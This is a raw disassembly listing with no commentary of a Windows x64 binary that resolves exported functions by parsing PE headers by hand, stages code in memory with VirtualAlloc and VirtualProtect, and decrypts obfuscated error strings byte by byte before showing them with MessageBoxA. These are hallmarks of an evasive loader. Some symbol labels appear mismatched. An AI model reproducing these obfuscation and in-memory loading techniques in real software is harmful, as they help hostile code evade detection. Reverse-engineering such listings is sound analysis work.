mov rdx, qword [rbp - 0x38]
mov rcx, qword [rsp + 0x78]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xf20]
mov r8d, dword [rbp + 0xf20]
mov edx, esi
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rdi
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
lea esi, [rax + 0x14]
jmp 0x1400347c3
mov rcx, qword [rbp - 0x58]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140034cde
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140034cde
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140034cde
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140034cde
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140034cde
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4e1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140034fc7
inc rax
test edi, edi
jne 0x140034fb2
xor r9d, r9d
test r8d, r8d
je 0x140034fdd
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x140034fa1
jmp 0x140034cde
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140034cde
mov eax, dword [rdx + 4]
mov dword [rbp - 0x40], eax
mov ecx, 1
cmp eax, ecx
jl 0x140034cde
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x58], rax
call fcn.140095f90
or dword [rbp + 0x7284], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x5f00]
call fcn.14003804c
lea rcx, [rbp + 0x5f00]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x5f00]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x45550], rax
add rdi, r14
cmp rdi, 0x200
jl 0x140035082
mov r8d, 0x1000
lea rdx, [rbp + 0x45550]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rbp - 0x40]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf1c], eax
lea r9, [rbp + 0xf1c]
lea r14d, [rax + 0x20]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xd98]
lea rdx, [rbp + 0xdb0]
mov rcx, qword [rsp + 0x78]
call rdi
mov dword [rbp - 0x40], eax
lea r9, [rbp + 0xf1c]
mov r8d, dword [rbp + 0xf1c]
mov edx, 0x1000
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400f1364], r9d
mov eax, dword [rbp - 0x40]
jmp 0x140034ce1
mov dword [rbp + 0xbf0], 0x78938e44
mov dword [rbp + 0xbf4], 0x3ce18859
mov byte [rbp + 0xbf8], reloc.WS2_32.dll___WSAFDIsSet
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xbf9], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xbfa], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x57
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xbfb], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xbfc], al
mov r9, rbx
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xbfd], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xbfe], al
mov r9, rbx
mov r8d, select
mov dl, 0x69
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xbff], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xc00], al
mov r9, rbx
mov r8, r15
mov dl, 0x67
lea rcx, [rbp + 0xbf0]
call fcn.1400371f8
mov byte [rbp + 0xc01], al
xor eax, eax
mov byte [rbp + 0xc02], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xbf0]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbf0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbf1], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x1400352bf
xor r10d, r10d
mov byte [rbp + 0xc02], r10b
mov dword [rbp + 0xc08], 0x70b0426e
mov dword [rbp + 0xc0c], 0x876b2dcc
mov word [rbp + 0xc10], 0x34ca
mov byte [rbp + 0xc12], Ordinal_143
lea edi, [r10 + 0x18]
mov r9d, edi
lea r8d, [r10 + 0xa]
mov dl, 0x43
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc13], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc14], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc15], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x61
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc16], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc17], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc18], al
mov r9d, edi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc19], al
mov r9d, edi
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc1a], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x49
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc1b], al
mov r9d, edi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc1c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc1d], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x67
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc1e], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x65
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc1f], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xc08]
call fcn.140038514
mov byte [rbp + 0xc20], al
xor eax, eax
mov byte [rbp + 0xc21], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x17]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xc08]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x18]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xc08]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xc09], dil
add r8, rbx
add r9, 0x18
cmp r9, 0x258
jb 0x1400354f6
mov byte [rbp + 0xc21], r10b
xor r9d, r9d
lea r8, [rbp + 0xbf1]
lea rdx, [rbp + 0xc09]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov word [rbp + 0x830], 0x3005
mov byte [rbp + 0x832], reloc.WLDAP32.dll_Ordinal_33
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x833], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x834], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x835], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x836], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x837], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x838], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x839], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x83a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x83b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x83c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x83d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x83e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x83f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x840], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x830]
call fcn.1400371f8
mov byte [rbp + 0x841], al
xor eax, eax
mov byte [rbp + 0x842], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x830]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x830]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x831], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14003576f
xor r10d, r10d
mov byte [rbp + 0x842], r10b
mov word [rbp + 0x980], 0xfa6d
mov byte [rbp + 0x982], 0x64
lea edi, [r10 + 0x19]
mov r9d, edi
lea r8d, [r10 + 2]
mov dl, 0x69
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x983], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x6c
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x984], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x985], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x64
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x986], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r14b
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x987], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x988], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x989], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, r14b
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x98a], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x51
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x98b], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x98c], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x98d], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x98e], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x79
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x98f], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, r14b
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x990], al
mov r9d, edi
mov r8, r15
mov dl, 0x45
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x991], al
mov r9d, edi
mov r8, rbx
mov dl, 0x78
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x992], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x65
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x993], al
mov r9d, edi
mov r8, r12
mov dl, 0x63
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x994], al
mov r9d, edi
mov r8, rsi
mov dl, 0x75
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x995], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x996], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x69
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x997], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x998], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x980]
call fcn.140038590
mov byte [rbp + 0x999], al
xor eax, eax
mov byte [rbp + 0x99a], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x18]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x980]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x19]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x980]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x981], dil
add r8, rbx
add r9, 0x19
cmp r9, 0x28a
jb 0x140035a87
mov byte [rbp + 0x99a], r10b
xor r9d, r9d
lea r8, [rbp + 0x831]
lea rdx, [rbp + 0x981]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov word [rbp + 0x318], 0x3b68
mov r9, rbx
mov r8, rcx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x31a], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x31b], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x31c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x31d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x31e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x31f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x320], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x321], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x322], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x323], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x324], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x325], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x326], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x327], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x328], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x318]
call fcn.1400371f8
mov byte [rbp + 0x329], al
xor eax, eax
mov byte [rbp + 0x32a], al
mov r8, rdi
mov r9, rbx
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x318]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x318]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x319], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140035d10
xor eax, eax
mov byte [rbp + 0x32a], al
mov word [rbp + 0x7f8], 0x2120
lea edi, [rax + 0x1a]
mov r9d, edi
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x7fa], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x69
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x7fb], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x6c
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x7fc], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x7fd], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x64
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x7fe], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, r14b
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x7ff], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x800], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x801], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, r14b
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x802], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x4d
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x803], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x61
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x804], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x805], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, r14b
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x806], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x807], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x808], al
mov r9d, edi
mov r8, r15
mov dl, 0x61
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x809], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x80a], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x80b], al
mov r9d, edi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x80c], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x80d], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, r14b
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x80e], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x80f], al
mov r9d, edi
mov r8, r13
mov dl, WSAGetLastError
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x810], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x66
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x811], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7f8]
call fcn.140038680
mov byte [rbp + 0x812], al
xor eax, eax
mov byte [rbp + 0x813], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x19]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x7f8]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1a]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x7f8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x7f9], dil
add r8, rbx
add r9, 0x1a
cmp r9, 0x2be
jb 0x140036054
mov byte [rbp + 0x813], r10b
xor r9d, r9d
lea r8, [rbp + 0x319]
lea rdx, [rbp + 0x7f9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov byte [rbp + 0x220], reloc.WLDAP32.dll_Ordinal_46
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x221], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x222], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x223], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x224], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x225], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x226], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x227], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x228], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x229], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x22a], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x22b], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x22c], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x22d], al
mov r9, rbx
lea r12d, [rsi + 0xc]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x22e], al
mov r9, rbx
lea r8d, [rsi + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x22f], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x230], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.1400371f8
mov byte [rbp + 0x231], al
xor eax, eax
mov byte [rbp + 0x232], al
mov r8d, eax
mov r9, rbx
movabs r10, 0x8080808080808081
